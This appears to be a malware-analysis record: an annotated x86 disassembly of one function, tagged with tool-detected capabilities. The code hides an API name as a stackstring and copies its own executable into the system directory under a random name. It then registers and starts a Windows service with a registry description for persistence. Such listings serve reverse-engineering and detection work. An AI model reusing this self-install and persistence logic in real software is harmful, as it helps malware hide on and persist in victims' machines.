Function at 0x402a70
Capabilities:
Contain obfuscated stackstrings
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406190
push 0x405c40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x388
push ebx
push esi
push edi
mov byte [ebp - 0x344], 0x47
mov al, 0x65
mov byte [ebp - 0x343], al
mov byte [ebp - 0x342], 0x74
mov byte [ebp - 0x341], 0x4d
mov byte [ebp - 0x340], 0x6f
mov byte [ebp - 0x33f], 0x64
mov byte [ebp - 0x33e], 0x75
mov cl, 0x6c
mov byte [ebp - 0x33d], cl
mov byte [ebp - 0x33c], al
mov byte [ebp - 0x33b], 0x46
mov byte [ebp - 0x33a], 0x69
mov byte [ebp - 0x339], cl
mov byte [ebp - 0x338], al
mov byte [ebp - 0x337], 0x4e
mov byte [ebp - 0x336], 0x61
mov byte [ebp - 0x335], 0x6d
mov byte [ebp - 0x334], al
mov byte [ebp - 0x333], 0x41
mov byte [ebp - 0x332], 0
lea eax, [ebp - 0x344]
push eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x104
lea ecx, [ebp - 0x328]
push ecx
xor esi, esi
push esi
call eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x104
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x220]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea eax, [ebp - 0x328]
push eax
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x402c6c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x1a
call fcn.00403530
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403530
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403530
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403530
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403530
add esp, 4
add eax, 0x61
push eax
push 0x1a
call fcn.00403530
add esp, 4
add eax, 0x61
push eax
push str._c_c_c_c_c_c.exe
lea edx, [ebp - 0x398]
push edx
call dword [0x408dcc]
add esp, 0x20
push 0x4084e4
lea eax, [ebp - 0x220]
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
call ebx
lea ecx, [ebp - 0x398]
push ecx
lea edx, [ebp - 0x220]
push edx
call ebx
push esi
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x328]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [0x409298], 1
jmp 0x402c72
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x224], esi
mov dword [ebp - 0x330], esi
xor edi, edi
mov dword [ebp - 0x32c], edi
mov dword [ebp - 4], edi
push 0xf003f
push edi
push edi
call dword [0x408d8c]
mov dword [ebp - 0x32c], eax
cmp eax, edi
je 0x402d72
push edi
push edi
push edi
push edi
push edi
lea ecx, [ebp - 0x328]
push ecx
push edi
push 2
push 0x10
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov edi, dword [ebp + 8]
push edi
push eax
call dword [0x408db8]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
jne 0x402d0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x402d0c
push 0xf01ff
push edi
mov eax, dword [ebp - 0x32c]
push eax
call dword [0x408d88]
mov esi, eax
mov dword [ebp - 0x330], esi
test esi, esi
je 0x402d72
push 0
push 0
push esi
call dword [0x408db4]
push 0
push 0
push esi
call dword [0x408db4]
test eax, eax
je 0x402d72
push str.SYSTEMCurrentControlSetServices_
lea ecx, [ebp - 0x11c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
lea edx, [ebp - 0x11c]
push edx
call ebx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push 0x80000002
call dword [0x408db0]
mov edi, dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x224]
push edx
call dword [0x408dac]
mov dword [ebp - 4], 0xffffffff
call fcn.00402d95
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret